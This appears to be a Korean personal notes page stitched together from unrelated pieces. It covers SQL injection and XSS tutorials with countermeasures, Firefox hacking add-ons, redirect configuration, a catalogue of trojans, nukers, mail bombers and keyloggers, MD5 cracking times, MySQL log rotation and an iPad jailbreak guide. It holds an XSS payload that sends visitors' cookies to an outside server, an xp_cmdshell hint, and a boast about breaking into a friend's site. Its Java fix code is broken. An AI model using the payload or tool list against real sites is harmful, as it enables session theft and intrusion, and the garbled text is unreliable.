7. 기타우회 방법 (이 방법은 정확히 이해가 안되네)

;</script><script>alert("xss");</scr..

요약

공격자들이 크로스 사이트 스크립팅을 사용하여 웹 사이트를 공격하는 방법을 설명했다. 또한 웹 사이트가 간단한 커스텀 태그 라이브러리를 사용하여 동적 컨텐트를 암호화 하는 것으로도 이러한 공격을 줄일 수 있다는 것을 설명했다. XSS 커스텀 태그 라이브러리를 그대로 사용하거나 이를 변형하여 자신의 웹 애플리케이션에 맞출 수 있다.

관련 정보 : http://ha.ckers.org/xss.html#XSScalc

1. SQL 삽입 공격

1-1) 웹 애플리케이션은 사용자로부터 SQL 구문을 입력 받는 부분, 즉 데이터베이스와 연동되어야

연동되어야 하는 부분은 크게 로그인, 검색, 게시판으로 나눌 수 있습니다.

1-2) 로그인 하는 과정에서 아이디와 패스워드 부분에 특정한 SQL 문이 사입되어 그것이 그대로

데이터베이스에 전송되어 공격자는 원하는 결과를 볼 수 있는 것입니다.

1-3) 발전된 SQL 공격

단순한 로그인 우회 공격이 아닌 다른 테이블에 있는 내용을 열람하는 공격

일반적으로 우편번호 검색 부분에 SQL 쿼리를 입력 받아 조회를 하고 조회하는 과정에서

사용자 입력을 체크하지 않을 경우 SQL Injection 취약점으로 인해 다른 테이블의 내용을 열람

할 수도 있습니다. 또한 Union 구문을 이용하는 경우도 있습니다.

1-4) 발전된 SQL Injection 공격을 위해 다음과 같은 조건이 만족되어야 합니다.

앞의 select 문에서 가져온 열 수와 union뒤에 select 문에서 가져오는 열 수가 동일해야 하고

테이블의 이름과 컬럼의 이름을 알고 있어야 하며 각 컬럼의 타입이 일치해야 합니다.

1-5) SQL Injection 취약점이 존재하는지 확인 하는 방법

1. 사용자의 입력이 DB와 연결되는 부분에 ' 과 같은 문자를 입력하였을 때 SQL 에러가

발생하면 SQL Injection 취약점이 존재한다고 봄

2. SQL 이중 명령어의 사용 : MS-SQL의 경우 ; 문자가 존재하면 SQL 쿼리를 끝내고 ; 다음에

나오는 SQL 쿼리를 실행합니다.

3. MS-SQL의 경우 xp_cmdshell을 이용하여 윈도우 내부 명령어를 실행할 수 있습니다.

1-6) 대응법

1. SQL Injection 공격 취약점은 프로그래머가 사용자의 입력을 받는 부분에서 비정상적인

입력이나 예상치 못한 입력을 받는 것을 처리하지 못 할 때 발생합니다.

2. SQL Injection 공격을 막기 위해서는 사용자의 입력 값에 대한 필터링을 수행합니다.

3. CSS 언어에서의 검증이 아닌 SSS 의 검증으로 처리합니다.

해결안)

String param1 = request.getParameter("id");

String param2 = request.getParameter("password");

validata(param1); // 특수 문자에 대한 필터링

validata(param2);

query = "select userid, userpw from users where userid =? ";

pstmt = conn.prepareStatement(query);

pstmt = setString1, param1);

rs = pstmt.executeQuery();

if (rs.next()) {

//검증

if (rs.getString(1).equals(param1) && getString(2).equals(param2)) {

//성공

}else {

//실패

}else {

// 로그인 실패

}

2. XSS 공격

2-1) XSS를 이용한 공격의 기본 원리

2-2) XSS란

1. Corss Site Scripting의 약자를 줄여 CSS라고 합니다. 또 다른 이름인 Cascadion Style

Sheets와 혼동되어 일반적으로 XSS라고 불리게 되었습니다.

2. XSS는 타 사용자의 정보를 추출하기 위해 사용되는 공격 기법으로 게시판이나 검색 부분,

즉 사용자의 입력을 받아들이는 부분에 스크립트 코드를 필터링하지 않음으로써 공격자가

스크립트 코드를 실행할 수 있게 되는 취약점 입니다.

2-3) XSS를 통한 공격 방법

실제 XSS 공격을 통해 다른 사용자의 쿠키 값을 이용해 다른 사용자로 로그인 하는 과정

1. 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도합니다.

2. 스크립트가 시작하여 열람자의 쿠키 값을 가로챔니다.

3. 가로챈 쿠키 값을 웹 포록시 등을 이용하여 재전송합니다.

4. 공격자는 열람자의 정보로 로그인을 합니다.

예) <script> url="http://192.0.0.1/GetCookie.jsp?cookie=+document.cookie;whidow.open(

url,width=0, height=0);</script>

위 코드는 게시판을 열람시에 사용자의 쿠키 정보가 해커의 웹서버로 전송하는 코드임

2-4) 대응방안

1. 중요한 정보는 쿠키에 저장하지 않아야 하며 사용자 식별 같은 부분은 쿠키에 담지
   않아야

한다.

2. 스크립트 코드에 사용되는 특수 문자에 대한 이해와 정확한 필터링을 해야 한다.
가장 효과적인 방법은 사용자가 입력 가능한 문자(예를 들어, 알파벳, 숫자 및 몇 개의 특수문자)

만을 정해 놓고 그 문자열이 아닌 경우는 모두 필터링해야 합니다. 이 방법은 추가적인

XSS 취약점에 사용되는 특수 문자를 애초부터 막을 수 있다는 장점이 있습니다.

3. 꼭 필요한 경우가 아니라면 게시판에 HTML 포멧의 입력을 사용할 수 없도록 설정합니다.

4. 스크립트 대체 및 무효화 javascript라고 들어오는 문자열을 무조건 'x-javascript'와

같이 대체를 하여 스크립트 실행을 무효화시키는 방법도 있습니다.

5. 정기적인 점검을 통해 취약점을 수시로 확인하고 제거합니다.

파이어폭스에  웹해킹에 사용하면 좋을 플러그인을 몇 개 소개합니다.

1. Web developer

https://addons.mozilla.org/ko/firefox/addon/60  의 주소로 이동하면 Web Developer의 페이지가 나옵니다.
거기서 Firefox에 추가라는 버튼을 클릭하면 자동으로 설치 창이 뜨고 설치가 진행됩니다.

설치가 끝나고 firefox를 재시작 하면 위와 같이 안보이던 메뉴가 생깁니다. 해당 메뉴들은 웹페이지를 조작하거나 분석하는데 많은 도움을 주는 도구들입니다.

특히 쿠키 조작이나 자바스크립트 분석은 웹 해킹을 할 때 많은 도움을 주기도하고 .
어떤 링크들이 있는지 목록화도 가능합니다.

2. liveHTTPHeader

http://livehttpheaders.mozdev.org/installation.html 로 이동하면 최신버전 플러그인을 볼 수 있습니다. 이 플러그인은 실시간(?)으로 Http 헤더를 분석하거나 조작된 헤더 내용을 전송할 수 있는 툴입니다.

설치가 끝나면 도구 -> Live Http Headers 를 선택해서 위와같이 프로그램을 띄울 수 있습니다. Capture를 선택하면
실시간으로 Http Header가 찍히는 것을 확인할 수 있습니다.

Send POST Content?를 선택하게 되면 헤더와 함께 특정 컨텐츠도 함께 보낼 수 있습니다.
 

3. NF-Tools(Net-force Tools)

http://www.net-force.nl/files/download/nftools/nftools.xpi  <- 클릭하면 아마 자동으로 설치 창이 뜰 것입니다.
개인적으로 매우 매우 맘에드는 플러그인입니다.
문자열 컨버팅을 해주는 유틸리티 입니다. 설치가 끝나고 firefox 재시작한 뒤 오른쪽 클릭을 하면 NF-Tools 라는
새로운 메뉴가 생긴것을 확인할 수 있습니다. 아무거나 선택합니다.

매우 보기 편한 인터페이스 입니다. 아스키 코드를 헥스로 바꾸거나 헥스를 아스키 코드로 바꿔주는 기능을 담당하고 있습니다. 사실 간단한 일이지만 매우 자주 자주 쓸모 있는 것이죠

한가지 더 보죠

이것은 BASE64 인코더/디코더 입니다. 아스키와 헥스 가 했던것 처럼 매우 사용하기 편합니다
그 외에도 자주 사용되는 암호화 기능등이 있네요

4. FoxyProxy

https://addons.mozilla.org/ko/firefox/addon/2464 로 이동하면 FoxyProxy 설치 페이지를 볼 수 있습니다. 이것은 프록시 서버를 사용할 수 있도록 해주는 애드온인데요 .. 프록시 서버를 등록해서 켜고 끄고 할 수 있습니다.

5. Domain Details

이번에는 큰 도움은 안되지만 깔아놔서 손해 볼일은 없는 플러그인입니다.
https://addons.mozilla.org/ko/firefox/addon/2166 주소이구요 
이걸 설치하면 간단한 프로그램이 깔리게 됩니다.

가장 하단 분에 보면 서버정보와 아이피 정보가 있는 것을 볼 수 있습니다.
이처럼 현재 접속해 있는 사이트의 정보를 간단히 리포트 해주는 역할을 하고 있습니다
아이피 옆에 느낌표를 누르면 더 자세한 정보들도 확인할 수 있답니다

Web site forwarding and redirection methods:

1. One can forward a web page URL or home page using the following web page with the "Refresh" directive:

   <META HTTP-EQUIV="Refresh" Content="0; URL=http://www.company.com/dir1/">

   This commands the browser to refresh the page with the new specified URL. This forwards a single page only and not the entire domain. It can forward the default home page for the domain giving the appearance of forwarding the domain..

   or:

   <html> <head> <META HTTP-EQUIV="Refresh" Content="3; URL=http://www.company.com/dir1/"> </head> <body> This page will forward to http://www.company.com/dir1/ in three seconds. <p> Please update your links. </body> </html>

2. Use a CGI script to forward a home page: (mod_cgi)

   File: httpd.conf

   ScriptAlias / /var/www/cgi-bin/redirect-script/

   File: /var/www/cgi-bin/redirect-script

   #!/usr/bin/perl print "Status: 301 Moved\r\n" . "Location: http://www.new-domain.com/\r\n" . "\r\n";

   or:

   #!/usr/bin/perl -w use strict; use CGI qw/:standard/; print redirect('http://www.new-domain.com');

3. Use a PHP script to redirect:

   <?php header("Location: http://www.new-domain.com/"); ?>

4. Use a Javascript to redirect:

   <html> <head> <script language="Javascript" type="text/javascript"> <!-- Hide script //<![CDATA[ window.location.href="http://www.new-domain.com/" //]]> End script hiding --> </script> </head> </html>

5. Use Apache module (mod_rewrite)

   File: httpd.conf

   RewriteEngine On RewriteRule /.* http://www.new-domain.com/ [R]

   Forwards all references in entire domain.

6. Use Apache module (mod_alias )

   File: httpd.conf

   • Redirect Domain:

     Redirect / http://www.new-domain.com/

     or

     Redirect permanent / http://www.new-domain.com/

   • Redirect Page:

     Redirect /web-page.html http://www.new-domain.com/destination-web-page.html

   Note:

   • Redirect directives take precedence over Alias and ScriptAlias directives.
   • Other "Redirect" options include: temp (error 302) default - temporary redirect status, seeother (error 303) resource has been replaced and gone (error 410) resource has been permanently removed.

   Example httpd.conf with virtual hosts for multiple domains which all redirect:

   <VirtualHost XXX.XXX.XXX.XXX> ServerName directtolinux.com ServerAlias www.directtolinux.com ServerAlias direct-to-linux.com ServerAlias www.direct-to-linux.com ServerAlias digitalpenguins.com ServerAlias www.digitalpenguins.com Redirect permanent / http://www.yolinux.com/ </VirtualHost>

7. Apache 301 redirect using the .htaccess file:

   If one wants to permanently forward an entire web site to a new URL or forward a single page permanently and have the search engines update their database, one should use a 301 redirect. This may redirect to a new server or to itself but to a different domain. This tutorial shows how. This method is a variation of using the mod_alias redirection shown above except that it allows the customer to redirect themselves by providing a .htaccess file themselves.

   RewriteEngine on RewriteCond %{HTTP_HOST} ^yolinux.com RewriteRule ^(.*)$ http://www.yolinux.com/$1 [R=permanent,L]

   This example forwards http://yolinux.com to http://www.yolinux.com/ to unify your site to a single URL. This can also simplify your web logs if they can not distinguish between the two

출처 : http://webarty.com



Local_Folder = "e:\itnews_Web\itstvadm\broadcast\etimesn\"
File_Name = FilePrefix & "etimes_"&gubun&"_"&edit_date&".txt"
Local_File = Local_Folder & File_Name

Set objFTP = Server.CreateObject("NIBLACK.ASPFTP")
objFTP.sServerName = "ip address"
objFTP.sUserID = "id"
objFTP.sPassword = "passl"

If objFTP.bConnect Then
objFTP.lTransferType = 2
Remote_File = "/itstv/" & File_Name
If objFTP.bPutFile(Local_File, Remote_File) Then
file_put = "OK"
Else
file_put = "ERROR"
msg = "자료는 저장되었으나 미디어서버측으로 파일 전송에 오류가 발생하였습니다."
End If
End If
Set objFTP = Nothing

==============================================================================
Trojan Virus / Hacking Tool
==============================================================================
Back Orifice 2000 --- cDc에서 공개한 백 오리피스 2000
Back Orifice 1.20 --- cDc 에서 공개한 백 오리피스
Back Orifice 1.3 --- 역시 BO의 업그레이드 버전
주민등록번호생성기 --- 주민등록 번호 생성기
Infector 2 --- V3에 안 잡히는 BOSERVE.EXE
Deep Bo --- BO의 업그레이드 버전!! (편리한 IP Sweep 기능)
Bo Plug-in --- 3가지 BO 플러그 인 (ButtTrumpet, SilkRope, BOFTP)
No BO 13a --- BO 해킹 방지 전문적으로 차단하는 프로그램
Net Bus 1.70 --- BO랑 쌍벽을 이루는 Trojan Hacking 프로그램
Net Bus Pro B --- 넷버스 2 프로 베타 버전 원제는 NetBus 2 Atomic Toxic
Ner Bus Pro 2.01 --- 넷버스 프로 2.01
Netbus Pro 2.1 Dropper --- Netbus Pro 2.1 Dropper
Lock Down 2000 Trojan Virus --- 전문 검사+치료 프로그램
BO SPY --- BO Gui쓰는 사람에게
Cleaner 2.0 --- bo 검사 & 치료 프로그램
BO Scanner --- Cleaner 2.0과 비슷한 프로그램
BO Remove --- BO만 치료
Modem Jammer --- IP경로 지우는 프로그램
Infector 2 --- V3에 안 잡히는 BOSERVE.EXE
스쿨버스 --- 스쿨버스입니다.
Deepthroat --- nobo에 안걸 리는 bo 서버
Subseven --- v1.7 트로이입니다.
Subseven --- 2.1 버그 패치 된 것
Pphucker --- pphucker라는 트로이

==============================================================================
포트스캔
==============================================================================
Port Scanner --- 포트 스캐너입니다.
Port Pro //
Port Test //
ChaOscan //
Tcp port scanner //
FTP Scanner --- IP주소로 FTP서버를 찾아줌

==============================================================================
WWW해킹
==============================================================================
Wwwhack98 --- 가장 잘 알려진 웹 해킹 프로그램
Webcrack --- 특별한 기능이 있는 웹 해킹 프로그램
HackerTTP1_3 --- 가장 빠른 웹 해킹 프로그램
Goldeneye --- Goldeneye라는 웹 해킹 프로그램

==============================================================================
누킹
==============================================================================
Mass nuker --- 매우 강력한 누킹 프로그램
Port Fuck --- 윈도우 98의 포트를 막아줌
Wiin nuke --- 95 화면을 먹통으로 만들어 버림
Nuke --- 강력한 누킹 프로그램
Nuke`em --- 컴퓨터를 다운시켜 버림
E-mail Nuker --- 상대방의 E-MAIL을 날려버림
Voob --- 컴퓨터를 다운시켜 버림

===============================================================================
키 로그
==============================================================================
Keylog 97 --- 키보드를 통해 누른 어떤 글자도 날짜별로 체계적으로 저장
Keylog25 //
Passpy //
Keylog //
Key rec //

=============================================================================
유닉스/리눅스
==============================================================================
폭탄메일 스크립트 --- 리눅스/유닉스용 폭탄메일
satan --- 취약점을 찾아내는 SATAN이라는 툴
saint --- SATAN이 개선된 SAINT
hack unix --- 유닉스용 해킹 프로그램
fire wall --- 리눅스용 방화벽
스니퍼 --- 몰래 엿보는 프로그램

==============================================================================
메일봄버
==============================================================================
AnonMail --- 자신의 이메일 주소를 원하는데로..
Avalanche --- 폭탄 메일
QFbomber --- 사용법이 쉬운 메일 봄버
Aenima17 --- 메일 봄버
Bomb Mail --- 메일 봄버
E-mail Bombing --- 메일 봄버
Kaboom3 --- 메일을 999장 보냄
Port Fuck! --- Win98 사용자에게 폭탄멜 보내기(누킹 툴 W98)

==============================================================================
크래커
===============================================================================
bus hacker --- 넷버스의 패스워드를 바꿔줌
John the ripper --- 유닉스 PASSWD화일을 해독
Crack Jack //
DateCrack --- 날짜제한을 없애줌
Uunix password cracker --- 유닉스 패스워드 크래커. 도스용
Zip ZIP --- 화일의 패스워드를 크랙
트럼펫윈속 --- 트럼펫윈속의 패스워드를 크랙
UNP --- 자체 압축기법 해제
UX --- 자체 압축기법 해제
마이크로 excel cracker --- 엑셀의 암호를 없애줌
Soft Ice --- 윈도우용 소프트 아이스
화면보호기 cracker --- 윈도우 스크린 세이버의 암호를 풀어줌
John The Ripper 1.0 --- 가장 유명하고 강력한 크래킹 프로그램으로 전설적인 크래킹 기록을 세움
codex TCP/IP Hacker

==============================================================================
패스워드
=============================================================================
Dripper --- 현재 어떤 ID와 PW로 접속했는지 알려줌
Revelation --- 윈도우에서 ****으로 표시된 PW를 알려줌
Cmos password --- CMOS의 패스워드를 마음데로

==============================================================================
바이러스
=============================================================================
에루살렘
핑퐁
바이러스 메이커 1,2,3

============================================================================
방어/추적
==============================================================================
Cleaner 2.0 --- 38개의 트로이를 스캔, 제거툴
Visual Route --- ip만 입력하면 상대방의 국가, 지역까지..
Lock Down 2000 --- 클리너에 버금가는 트로이 스캐너
X-ray 파일 분석기
Nobo --- BO 침투자를 막아주고 IP를 알려줌
Bospy --- 딥보 침투자에게 역해킹..
No Nuke --- 누킹을 막아줌
Nuke Nabber --- 누깅을 막아줌
Neotrc201 --- IP 추적기
Antigen102
Net Buster --- 넷버스를 없애주고 침입자를 물리
Fire wall 98 --- 개인 방화벽
Bo remover --- 백오리피스를 빠른속도로 없애줌
Conseal fire wall --- 개인 방화벽
T.D.S.2 --- 294개의 트로이를 제거해줌

===========================================================================
필수유틸
=============================================================================
Jammer --- 자신의 접속 경로를 지워줍니다.
HAKTEK --- 포트스캔, 핑거, 메일봄버 등이 하나로
com2exe --- *.com을 *.exe화일로...
bat2exe --- *.bat를 *.exe화일로...
exe2com --- *.exe화일을 *.com화일로...
mouse.com --- 가끔 필요한 마우스 띄우는 프로그램
winnt->dos --- 윈도우nt 파일을 도스에서 마운트

좀 지저분해졌지만..;

    if ( substr($_SERVER['HTTP_HOST'],0,4)!='www.' ) {
    $url = (isset($_SERVER['HTTPS'])?'https://www.주소':'http://www.주소').substr($_SERVER['HTTP_HOST'],4).$_SERVER['REQUEST_URI'];
     @header ('Location: '.$url);
    exit;
}

로 해결했습니다. ;

=======================================================

MySQL 로그 파일 관리

=======================================================


Mysql 의 로그 파일은 다음과 같이 크게 3종류가 있습니다.

1. 에러로그
2. 일반적인 로그
3. UPDATE 로그

첫번째 에러 로그는 hostname.err 의 이름으로 서버 실행시 에러를 기록하는 파일입
니다. 두번째 로그파일은 mysql 에 접근하는 사용자와 그들이 파일과 관련된 쿼리를
실행할 경우에 기록되는 로그 파일로 /usr/local/mysql/var 밑에 host_name.log 으로
저장이 되어집니다. Mysql 데이터에 파일을 기록하므로 파일과 관련된 쿼리는 DB 생
성/삭제 , 테이블 생성/삭제 , 레크드 삽입/갱신 이 있습니다.
이 로그 파일은 Mysql 실행시 --log 옵션을 주어 활성화 시키면 된다.

# /usr/local/mysql/bin/safe_mysqld --log &

업데이터로그는 테이블이 변경될때마다 해당 쿼리가 기록 됩니다. 기본적으로 활성
화 되지 않고 Mysql 실행시 --log-update 옵션으로 가능하다.

# /usr/local/mysql/bin/safe_mysql --log-update &

업데이터 로그는 /usr/local/mysql/var 밑에 host_name.00X 식으로 서버가 다시
실행되거나 mysqladmin reflesh 혹은 mysqladmin flush-logs 명령을 내릴때마다
뒤의 번호가 1씩 증가 한다. 혹은 --log-update=mysql.log 와 같이 로그파일명을
정해줄수도 있다. Update 로그는 update 쿼리만 저장하거 같지만 ..
delete , create 등의 쿼리도 모두 저장한다.

mysql 의 사용량이 많은 사이트는 이런 로그파일이 쌓이므로 해서 디스크 용량에
문제가 생길수 있다. 관리자는 수시로 점검하여 삭제를 해어야 한다.

로그 파일을 관리하는 방법으로는 두가지가 있다.

먼저 /usr/local/mysql/share/mysql/mysql-log-rotate 파일을 이용하는 방법과
간단한 스크립트를 작성하여 cron 에 등록한뒤 관리하는 방법이 있다.

/usr/local/mysql/share/mysql/mysql-log-rotate 파일을 이용하는 방법은 ..
--log-update=mysqld.log 와 같이 로그파일을 정해서 관리할때 이용하면 된다.

# vi /usr/local/mysql/share/mysql/mysql-log-rotate
-------------------------------------------------------------------------
----
# This logname is set in mysql.server.sh that ends up in /etc/rc.d/init.d/mysql
#
# If the root user has a password you have to create a
# /root/.my.cnf configuration file with the following
# content:
#
# [mysqladmin]
# password = <secret>
# user= root
#
# where "<secret>" is the password.
#
# ATTENTION: This /root/.my.cnf should be readable ONLY
# for root !

/usr/local/mysql/var/mysqld.log {
# create 600 mysql mysql
notifempty
daily
rotate 3
missingok
compress
postrotate
# just if mysqld is really running
if test -n "`ps acx|grep mysqld`"; then
/usr/local/mysql/bin/mysqladmin flush-logs
fi
endscript
}

-------------------------------------------------------------------------
--

위의 파일을 /etc/logrotate.d 디렉토리에 복사만 하면 알아서 로테이트 하게 된다.
단..로그파일을 교체한후 mysqladmin flush-logs 를 적용하므로 root 홈디렉토리에
.my.cnf 파일을 만든후 MySQL 의 root 사용자의 암호와 사용자 명을 적어주어야 한
다.

vi /root/.my.cnf
--------------------------------------
[mysqladmin]
password = xxxxxxxxx
user = root

--------------------------------------

정상적인 로그 교체의 확인은 다음과 같이 하면 된다.

# logrotate -f /etc/logrotate.d/mysql-log-rotate


이밖에 --log-update 등의 옵션을 이용하면 수시로 로그파일의 뒤에 001,002 씩으로
번호가 증가 되면서 저장이 되므로 별도의 스크립트를 작성하여 관리해야 한다.

이는 각자 머리를 잘 짜면 될거 같다.

#!/bin/sh

find /usr/local/mysql/var -name "*.[0-9]*" -type f -mtime +3 -exec rm -f {} \;
/usr/local/mysql/bin/mysqladmin flush-logs

위와 같은 만들면 된다. 이는 "3일 지난 파일은 지워라" 로 cron 에 등록한뒤 적절한
시간마다 실행해주면 된다.

MD5 CrackFAST 2.10.rar

MD5CF_Setup.exe

=============================================

* 사용된 툴 : MD5 CrackFAST, IGHASHGPU v0.62

* plant text : !r@c#

* md5 hash : 47311601ffb4c52a5446fc7286831cdc

=============================================

1. MD5 CrackFAST

위와 같이 스레드 카운트를 3개를 이용해서 최적의 조건으로 크랙을 시도하였다. 크랙이 완료되기까지 최종 시간은 1분 21초가 걸렸다...

2. IGHASHGPU v0.62

IGHASHGPU v0.62 를 이용하여 크랙을 시도하였다... 본 크랙 툴은 CPU방식이 아닌 GPU 병렬 처리를 통한 고속 크랙을 시도한다... 최종 크랙까지 걸린 시간은 8초 정도밖에 걸리지 않았다...

3. 결 과

==============================================

* MD5 CrackFAST (CPU thread : 3개) = 1분 21초

* IGHASHGPU v0.62 (GPU SP 8개) = 8초

==============================================

[ 사용방법 ]

jad.exe

example1.class 를 디컴파일시

jad.exe 를 디컴파일할 파일과 동일한 폴더에 놓는다.

Command 창에 jad -o -sjava example1.class

결과물 : 'example1.java'

2. Package 를 디컴파일시

tree 폴더 아래의 모든 클래스파일을 디컴파일시

폴더와 같은 폴더에 jad.exe 를 위치하고

Command 창에 jad -o -r -sjava -dsrc tree/**/*.class

결과물 : 폴더내에 [src] 폴더가 생성된다.

아티카페 특징

요즘 아이패드 랑 놀고 있습니다. HTC 4G 폰을 구입후 테더링을 사용해 아이패드로 빠른 인터넷을 할수 있어 좋습니다.

얼마전 친구와 술자리를 하다. (그 친구는 웹디자이너 입니다.) 공개용 보드로 홈페이지를 제작 했는데. 어느 누구도 해킹할수 없다.

혹 ** 가 해킹하면 오늘 100만원 쏠테니 술마시자는 제안을 했다. - 아이패드로 윈도우 머신에 리모트로 접속후

얼마전 테스트 목적으로 자동화된 인젝션 공격 툴을 개발해 놓아서

약 7분만에 admin 접속 화면을 보여 주었다. 100만원을 쏜다는 친구는 그날 30만원 정도에 술을 사더니 돈이 없다며

다음주에 한자더 먹자고 하며 술자리를 마감 했다.ㅎㅎ

하단에 웹해킹 방화벽 입니다.


<웹해킹 방어를 위한 KrCERT/CC 권고 사항>

※ 공개웹방화벽 전용 홈페이지 안내(방화벽 설치 시 주요 웹해킹 방어가능)

공개웹방화벽(WebKnight 및 ModSecurity) 다운로드, 설치 운영 가이드, FAQ 등의 정보 제공
- http://www.krcert.or.kr/firewall/index.htm

※ 무료 웹취약점 점검을 신청(웹취약점 탐지 및 해결방법을 설명)

o 무료 홈페이지 취약점 점검서비스 신청하러가기
- http://webcheck.krcert.or.kr

※ 아래의 문서를 참조하여 해킹에 대응하시기 바랍니다.

o 홈페이지 개발 보안 가이드
- http://www.kisa.or.kr/trace_log/homepage_guide_down.jsp

o 웹 어플리케이션 보안 템플릿
- http://www.krcert.or.kr/docDown.jsp?dn=3

o 침해사고 분석절차 가이드
- http://www.krcert.or.kr/docDown.jsp?dn=10

o PHP웹 게시판 취약점 관련 사고분석 및 보안대책
- http://www.krcert.or.kr/unimDocsDownload.do?fileName1=IN2005001.pdf&docNo=IN2005001

o SQL Injection 취약점을 이용한 윈도우즈 웹서버 사고 사례
- http://www.krcert.or.kr/unimDocsDownload.do?fileName1=IN2005014.pdf&docNo=IN2005014

o 웹 해킹을 통한 악성 코드 유포 사이트 사고 사례
- http://www.krcert.or.kr/unimDocsDownload.do?fileName1=050629-IN-2005-012.pdf&docNo=IN2005012

o ARP Spoofing 기법을 이용한 웹 페이지 악성코드 삽입 사례
- http://www.krcert.or.kr/unimDocsDownload.do?fileName1=IN2007003.pdf&docNo=IN2007003&docKind=3

궁금하신점은 국번없이 118(한국정보보호진흥원)으로 연락바랍니다.

Step 1: Download Redsn0w 0.9.8b4 (Mac and Windows) and save the application in a folder named "Redsn0w" on your desktop.

Step 2: You need to download both the iOS 4.3.4 and iOS 4.3.5 firmware files (use Firefox or Chrome to download the firmware file instead of using Internet Explorer or Safari):

iOS 4.3.4 firmware file for iPad 1 (iPad1,1_4.3.4_8K2_Restore.ipsw)

iOS 4.3.5 firmware file for iPad 1 (iPad1,1_4.3.5_8L1_Restore.ipsw)

Step 3: Double click the Redsn0w zip file and extract the application to the Redsn0w folder.

Step 4: Connect your iPad to the computer, which should automatically launch iTunes.

Skip steps 5 and 6, if your iPad has already been upgraded to iOS 4.3.5.

Step 5: From the 'Devices' section on the left pane of iTunes, select your iPad device. Now, hold down the Shift button (Option button for Mac users) and click the 'Restore' button.

Step 6: Navigate to the Redsn0w folder on the desktop and select the downloaded iOS 4.3.5 firmware file (iPad1,1_4.3.5_8L1_Restore.ipsw). Click on the 'Choose' button to let iTunes update your iPhone with the required firmware. You will be asked to setup your iPad 1 either from a previous backup or setup as a new iPad, select the backup you want for your device (ideally should be the most recent one). Wait for iTunes to finish.

Step 7: Navigate back to the Redsn0w folder and launch the Redsn0w application. Windows 7 users should run the exe in Windows XP compatibility mode (right-click on the Redsn0w exe and select Properties, then select the Compatibility tab and select Run this program in compatibility mode for Windows XP). Windows XP and Windows 7 users should run Redsn0w as ‘Administrator’ (right-click on the Redsn0w exe and select 'Run as an Administrator').

Step 8: You will be asked to select the corresponding IPSW file. Click on the Browse button and select the iOS 4.3.4 firmware file (iPad1,1_4.3.4_8K2_Restore.ipsw). Note: iOS 4.3.4 firmware file and not the iOS 4.3.5 firmware file.

Step 9: Redsn0w will verify the firmware file and inform you if it has successfully identified it. Click on 'Next' to proceed.

Step 10: Redsn0w will now start preparing the jailbreak data.

Step 11: You will now be prompted to select the jailbreak options you would like. Make sure Cydia is selected and select 'Next' to continue.

Step 12: You will now be prompted to switch OFF your iPad and plug it to the computer. Follow the instructions and click on 'Next' to move to the next screen:

Step 13: You will now need to put your iPad into the DFU mode. Redsn0w will take you through the necessary steps:

(a) Hold the Power button on iPad down for 3 seconds:

(b) Now simultaneously hold the iPad and keep the two buttons pressed for 10 seconds:

(c) Now release the Power button while keeping the Home button pressed until Redsn0w identifies the device:

Step 14: Your iPad should reboot now. Please remember to release the Home button.

Step 15: Redsn0w will now begin uploading the new RAM disk and kernel.

Step 16: You will now be notified once the jailbreaking process is complete. Click on the 'Finish' button to exit the application.

Step 17: Your iPad will reboot once again (which could take approximately 5 minutes). After it has rebooted, your iPad should be successfully jailbroken. You should find Cydia jailbreak app on your iPad’s home screen.

If you're new to the jailbreaking world and wondering what to do after jailbreaking your iPad, checkout our jailbreak apps category page to find out the apps you can install on your iPad using the Cydia app.

Note: Once Redsn0w has finished jailbreaking your iPad, you will need to boot it tethered. All you need to do is rerun Redsn0w and this time select Just boot tethered right now from the list of options instead of installing Cydia.

http://www.iphonehacks.com/2011/07/how-to-jailbreak-ipad-1-using-redsn0w-for-ios-4-3-5-windows-mac.html

다양한 리스크가 따름.....

Jailbreak My iPad

http://www.jailbreak-my-ipad.org/

또다른 방법

http://www.dipmore.com/jailbreak-ios-4-3-5-for-iphoneipad-and-ipod-touch-with-redsn0w/